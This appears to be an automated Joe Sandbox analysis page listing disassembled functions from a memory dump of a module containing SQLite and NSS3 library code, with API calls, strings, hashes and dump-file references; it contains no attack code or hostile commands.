Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 67a64acd81b88211a7f6ce5f6e60977abfd3809fce938504b3c96dac39ee0f0f
Instruction ID: 5dd7f707d4bb53abaa5143fb693f2cfcf46ef80d3af3440284f7f6529c6fdf27
Opcode Fuzzy Hash: 67a64acd81b88211a7f6ce5f6e60977abfd3809fce938504b3c96dac39ee0f0f
Instruction Fuzzy Hash: 6F026932909251CFDB14CF19D86876ABBA2EF42314F1A835BD8915BEB1C335D989C790

Function 6CB9EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

temporary table name must be unqualified, xrefs: 6CB9F734
%s %T already exists, xrefs: 6CB9FAC8
sqlite_master, xrefs: 6CB9F0AB, 6CB9F2DA, 6CB9F757, 6CB9F93E
there is already an index named %s, xrefs: 6CB9F9D7
sqlite_temp_master, xrefs: 6CB9F0A6, 6CB9F2D5
not authorized, xrefs: 6CB9F957, 6CB9F9BA
table, xrefs: 6CB9F05C, 6CB9FABC, 6CB9FAC7
view, xrefs: 6CB9F061, 6CB9F071, 6CB9FAB7
authorizer malfunction, xrefs: 6CB9F95C, 6CB9F9BF, 6CB9FA5E, 6CB9FA8B

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: c75542ea9f50a96258bb0d0c04ebdf939d06d067afb09ce31d2d8fdc0970bd1d
Instruction ID: ae47a5d1c8bb7671cb29edc8803ee7cd203210d0b946ef6609446cc33f95b52d
Opcode Fuzzy Hash: c75542ea9f50a96258bb0d0c04ebdf939d06d067afb09ce31d2d8fdc0970bd1d
Instruction Fuzzy Hash: 8972B070E042958FDB14CF68C480BAABBF1FF4A318F1481B9E815AB792D775E845CB91

Function 6CCB9C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6CB8C52B), ref: 6CCB9D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CCBA035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CCBA114

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CCBA01F, 6CCBA0E4, 6CCBA0FE
%s at line %d of [%.10s], xrefs: 6CCBA02E, 6CCBA10D
database corruption, xrefs: 6CCBA029, 6CCBA108

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: b61cb9a0504a19c4ca9d79e4d6f7ce55c617d1cb2e53733e9ed7167584acf154
Instruction ID: 99fabe4a96474321f5ba8a0a407c6db322dd84068a101e523a89ea2b4ecc7213
Opcode Fuzzy Hash: b61cb9a0504a19c4ca9d79e4d6f7ce55c617d1cb2e53733e9ed7167584acf154
Instruction Fuzzy Hash: BB22BF71608741DFC704CFA9C49062AB7F1BFCA344F148A2DE9DAA7A51E735E846CB42

Function 6CCD9D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6CB98637,?,?), ref: 6CCD9E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6CB98637), ref: 6CCD9ED6

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CCD9EC0
%s at line %d of [%.10s], xrefs: 6CCD9ECF
database corruption, xrefs: 6CCD9ECA

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 647ac574a178bb1bec085d4d558ff3b98b064368501827af6bb82fb58eccf8f5
Instruction ID: b60e23288add553043d96deb5facb5af5729f1c47336316aa68f4d74255afaa5
Opcode Fuzzy Hash: 647ac574a178bb1bec085d4d558ff3b98b064368501827af6bb82fb58eccf8f5
Instruction Fuzzy Hash: 0F81B735B001168FDB04CFAAC890ADEB3F6FF49304B158569DA19ABB51EB30ED45CB91

Function 6CC69EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CC69ED6

Part of subcall function 6CC614C0: TlsGetValue.KERNEL32 ref: 6CC614E0
Part of subcall function 6CC614C0: EnterCriticalSection.KERNEL32 ref: 6CC614F5
Part of subcall function 6CC614C0: PR_Unlock.NSS3 ref: 6CC6150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6CC69EE4

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC69F38

Part of subcall function 6CC6D030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6CC69F0B), ref: 6CC6D03B
Part of subcall function 6CC6D030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CC6D04E
Part of subcall function 6CC6D030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6CC6D07B
Part of subcall function 6CC6D030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6CC6D08E
Part of subcall function 6CC6D030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC6D09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC69F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6CC69F59

Part of subcall function 6CC69D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CC69C5B), ref: 6CC69D82
Part of subcall function 6CC69D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CC69C5B), ref: 6CC69DA9
Part of subcall function 6CC69D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CC69C5B), ref: 6CC69DCE
Part of subcall function 6CC69D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CC69C5B), ref: 6CC69E43

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: b19d3ca2e0cd0dc86eaaa4f02bcae798908b14dda0e1445cb1959561f9eab9fa
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: 8A110BB5F042025BF7009B67AD8079B7354AF9434CF150235E509CBF50FB62E5158292

Function 6CD1CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD1D086
PR_Malloc.NSS3(00000001), ref: 6CD1D0B9
PR_Free.NSS3(?), ref: 6CD1D138

Strings

>, xrefs: 6CD1CF5B

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: cab7136038bbaa97efd4079e56c47d24092250d270e8b9b8f97ee0dbf0bfc802
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 81D15862B4D6464FEB154A7CA8A13EA77938782374F68033AD5618BFF5E719C8838341

Function 6CC9DC60 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 144COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(00000002,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,00000002,?), ref: 6CC9DD05
PR_SetError.NSS3(FFFFD0AB,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6CC9DDCD

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

Part of subcall function 6CC77F90: PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CC77FB2
Part of subcall function 6CC77F90: PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CC77FD4
Part of subcall function 6CC77F90: PR_ExitMonitor.NSS3(?), ref: 6CC7801B

PR_SetError.NSS3(FFFFD0AB,00000000), ref: 6CC9DDE4

Strings

traffic upd, xrefs: 6CC9DCDC

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Monitor$Error$CountEnterEntryExitFreeK11_Value
String ID: traffic upd
API String ID: 1369763343-79366657
Opcode ID: f611534fdceb4b93c7ffde4b5ce905dec600bf7f463847991569f80269e790cf
Instruction ID: 402c803c353850bcdeb16724b37c4d10efdbde32d5902019439de4585e6ff644
Opcode Fuzzy Hash: f611534fdceb4b93c7ffde4b5ce905dec600bf7f463847991569f80269e790cf
Instruction Fuzzy Hash: AE41E4B2A006045BE7149F69DC81BAFB7B9EF88308F51042DE50AA7750E731AD16CBA1

Function 6CCBAD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 913509a9dd3816604a699d54d43e3bf37775df79393e7003f11699c6de0fabf1
Instruction ID: 21fceb2ceb769df0deb12eda7c20bb0dbebf72f2645632aa547d5ec41dc47576
Opcode Fuzzy Hash: 913509a9dd3816604a699d54d43e3bf37775df79393e7003f11699c6de0fabf1
Instruction Fuzzy Hash: 31F1F371E011518BEB04DFADC8907BA77F8AB8A308F55422DCA15EBB50FB789941CBD0

Function 6CCADFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CB85001,?,00000003,00000000), ref: 6CCADFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6CB85001,?), ref: 6CCAE2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6CB85001,?), ref: 6CCAE2DA

Strings

W, xrefs: 6CCAE111

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: 03f9cfd8eadfcf1ee799696526b78540c822b8b6d0d1504fb2a12639b082ad63
Instruction ID: 38e30e75f8aa56b8bf2ca7d6902206f64bfb8ae987c17586d6b2d10f1ca9cf67
Opcode Fuzzy Hash: 03f9cfd8eadfcf1ee799696526b78540c822b8b6d0d1504fb2a12639b082ad63
Instruction Fuzzy Hash: A8C10971A052578BDB04CFEA84947AA77B1BF86308F18416DDD699BB41F7319823CBD0

Function 6CBB3EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_master, xrefs: 6CBB463F
sqlite_temp_master, xrefs: 6CBB460F
sqlite_, xrefs: 6CBB3FAA, 6CBB4185

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 98633f7c9020ba982e92936f51446bc83c1cd1b4f7213d32f8ae45152c9127e8
Instruction ID: 14803dca0bb62dd847adeba1692648d9abe7b3c2cfea7b3c3437a4e45288a0a1
Opcode Fuzzy Hash: 98633f7c9020ba982e92936f51446bc83c1cd1b4f7213d32f8ae45152c9127e8
Instruction Fuzzy Hash: 23221421A895D54FD7048B6980606BA7BF2FF47318B6C45A8C9E57BF52CA31EC41CF81

Function 6CCEBE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6CCEC0B6

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 4243d1fae1a917291f80db17a088f6748d71e69ed82567e6dc407cf03cef42bb
Instruction ID: ca888c6bf9bfc933ef89b74d602671c635db9c8a2aafd98444da16c0d9637cf8
Opcode Fuzzy Hash: 4243d1fae1a917291f80db17a088f6748d71e69ed82567e6dc407cf03cef42bb
Instruction Fuzzy Hash: 5D926174A042498FDB15DF55C890BBEBBB2FF4A308F284168D815A7B91E735EC46CB50

Function 6CB83D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6CB83EA9

Strings

0, xrefs: 6CB83DAB

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: 314f578c775d6d4b1e9b48f3c8e3769b0493f2ba63da68a18d708a33247e9a70
Instruction ID: b51c95bfe145af2293acba9be935844016383cc443506f2dcae9a23d4ba98dee
Opcode Fuzzy Hash: 314f578c775d6d4b1e9b48f3c8e3769b0493f2ba63da68a18d708a33247e9a70
Instruction Fuzzy Hash: 73514A31E4A0F98AEB15467C88603FFFBB1DB42316F1D4329C5A567AC0D238454587F1

Function 6CC2EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC2F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6CC2F0F9

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 3338f890ee71a5e840dc6b6a1a287e342a5c739c816d7d9726b228b2b32371c4
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: A3917075A0062A8FCB14CF69C8916AEB7F1FF85324F24472DD962A7BC0E734A905CB51

Function 6CC70E20 Relevance: 2.8, APIs: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6CC71052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6CC71086

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: 8e99b2fa324439f9acdbf71da638e3ad3adc5b22c2d9a8b99995334404f73965
Instruction ID: b72dacf95d9a74323483e18dbda83066bbcdcfedcb49d0ff1886e0df2ad9aa74
Opcode Fuzzy Hash: 8e99b2fa324439f9acdbf71da638e3ad3adc5b22c2d9a8b99995334404f73965
Instruction Fuzzy Hash: C7A13F71B0125A9FDF18CF99C894AEEBBB6FF49314B148129E915A7700E735EC11CBA0

Function 6CB9AC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlock, xrefs: 6CB9AE18
winUnlockReadLock, xrefs: 6CB9AE9F

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: 0fd0e0c52c35c3355137ddc198387d37b9dea7c2e146ff3895a7cbfd4562ba47
Instruction ID: 184b6c2a0de3d3b767638b6e0cda23cfc346345cd785532d56dda2920e7e4fa2
Opcode Fuzzy Hash: 0fd0e0c52c35c3355137ddc198387d37b9dea7c2e146ff3895a7cbfd4562ba47
Instruction Fuzzy Hash: 857182706083409FEB04DF28D894A6ABBF9FF8A314F14C619FA8997651D730A985CBD1

Function 6CC5ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6CC5EE3D

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
